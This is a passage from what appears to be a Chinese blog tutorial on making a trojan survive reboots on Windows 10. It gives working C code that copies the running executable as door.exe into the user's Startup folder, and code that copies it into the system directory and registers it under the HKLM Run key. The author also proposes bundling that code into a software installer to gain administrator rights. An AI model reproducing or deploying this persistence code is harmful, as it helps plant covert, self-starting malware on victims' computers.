	HNODULE hModule, 	// 获得该模块的路径;如想获得本模块的路径,则设置为NULL
	LPTSTR IpFilename, 	// 存储获得的文件路径
	DWORD nSize			// 指明IPFilename的大小
);

函数已经准备完成,下面开始组装:

// @toc 启动文件夹
// @author SteveCurcy
// @dev 一个木马能否开机自动运行是保证木马有价值的前提
// @dev 本代码将使用启动文件夹的方式实现木马的开机自启动
// @dev 启动文件夹对于不同的系统位置不同,这里先讨论win10的
// @dev 启动文件夹分为用户的和系统的,用户的只针对于某一个用户,
// @dev 而系统文件夹针对整个系统,但是想要写入也需要管理员权限
// @dev 下面分别给出用户和系统启动文件夹的位置:
// @dev C:\Users\UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
// @dev C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
// @dev 在win10下,为了安全,AppData和ProgramData都是隐藏文件夹
#include <stdio.h>
#include <windows.h>

int main() {
    char ExeFile[MAX_PATH];
    char SystemPath[MAX_PATH];
    char TempPath[MAX_PATH] = "\\Users\\";
    char UserName[MAX_PATH];
    int ret;
    unsigned long _size = MAX_PATH;

    // 得到当前文件名
    GetModuleFileName(NULL,     // 获取EXE本身路径
                      ExeFile,  // 路径存储的缓冲区
                      MAX_PATH);// 缓冲区大小
    // 得到系统目录
    GetSystemDirectory(SystemPath,    // 系统目录存储的缓冲区
                       MAX_PATH);   // 缓冲区的大小

    GetUserName(UserName, &_size);  // 获取当前用户,存储到 UserName 中
    strcat(TempPath, UserName);
    strcat(TempPath, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\door.exe");


    SystemPath[2] = '\0';
    strcat(SystemPath, "\\Users\\74653\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\door.exe");
    // printf("%s\n%s\n", SystemPath, ExeFile);

    ret = CopyFile(ExeFile, TempPath, FALSE);   // 把 EXEFile 文件文件复制到 TempPath, FALSE 指明有同名则强制覆盖
    if (ret == 0) {
        printf("Failed!");
    }

    return 0;
}

当然这只是自启动的代码,一个完整的木马还需要与前面的模板代码结合起来。这种方式实现自启动能否成功,取决于你电脑上杀毒软件的能力,有的强一点的会直接把我们的木马程序删掉,有的则只是提示,还有的甚至不会过多干涉我们这种操作,反而会阻止启动项的删除。

注册表启动

  利用注册表指明开机时要运行的程序,利用的最多的是注册表中的 RUN 注册键。
最常用的四条路径如下:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

  现在有了目标,要做的就是需要将我们的木马程序添加到上述路径中。所需的函数如下:

LONG RegOpenKey(		// 不成功返回0;成功返回 ERROR_SUCCESS
	HKEY hKey, 			// 要打开的主键名,可以是如 HKEY_USERS 的根键
	LPCTSTR IpSubKey,	// 指名要打开的子键的路径
	DWORD ulOptions,   	// 保留字段,置0
  	REGSAM samDesired,	// 一个访问掩码,它指定对密钥的期望访问权限
	PHKEY phkResult		// 指向打开键的句柄
);
LONG RegSetValueEx(
	HKEY hKey,				// 上一个函数已经打开的句柄
	LPCTSTR IpValueName,	// 设置的值得名称
	DWORD Reserved,			// 保留字,不使用
	DWORD dwType,			// 添加变量的类型,二进制REG_BINARY,32位数字REG_DWORD,字符串REG_SZ
	const BYTE* IpData,		// 添加变量数据的地址
	DWORD cbData			// 添加变量的长度
);

现在我们可以打开并创建一个注册表的键值对了,接下来就可以编码了:

// @toc 注册表启动键值
// @author SteveCurcy
// @dev 利用注册表指定开机时要运行的程序,下面给出四个路径
// @dev HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// @dev HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// @dev HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
// @dev HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
// @dev 后两个启动之后只运行一次

#include <stdio.h>
#include <windows.h>

int main() {

    char ExeFile[MAX_PATH], SystemPath[MAX_PATH];
    int ret;

    // 得到当前文件名
    GetModuleFileName(NULL, ExeFile, MAX_PATH);
    // 获得系统目录
    GetSystemDirectory(SystemPath, MAX_PATH);
    strcat(SystemPath, "\\door.exe");
    // 拷贝到系统文件夹名为 door.exe
    ret = CopyFile(ExeFile, SystemPath, FALSE); // 有同名文件强制覆盖

    if ( ret == 0 ) {
        printf("Fail!");
        return 1;
    }

    HKEY key;
    // 打开注册表 RUN
    if ( RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                      "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                      0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS ) {
        // 在 RUN 下建立一个 Test Door 键,值为木马的路径
        RegSetValueEx(key, "Test Door", 0, REG_SZ, (BYTE*)SystemPath, strlen(SystemPath));
        RegCloseKey(key);
        printf("Success");
    }

    return 0;
}

  这种注册标的方式,需要有管理员权限,所以我运行的时候一直是失败的,这一点暂时没有学到如何解决,个人想到的是,把该段代码与某软件绑定到一起,使软件在安装的时候调用这一部分代码实现注册表的修改。这样在软件安装的时候都是需要管理员权限的,这样就可以解决需要管理员权限的问题了。

其他

  除了上面说的两种方式以外,实现木马的自启动还有以下方式:

  • 应用程序关联
  • 启动文件(WINSTART.bat)
  • 注册服务
    读者可以自行查阅其他资料,这里不做过多的介绍。

最后拿"功夫熊猫2"中的一句话与大家共勉,希望一起把握当下,做好自己,别留遗憾~
  Your story may not have a happy beginning, but that doesn’t make who you are. It’s the rest of your story, who you choose to be.

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值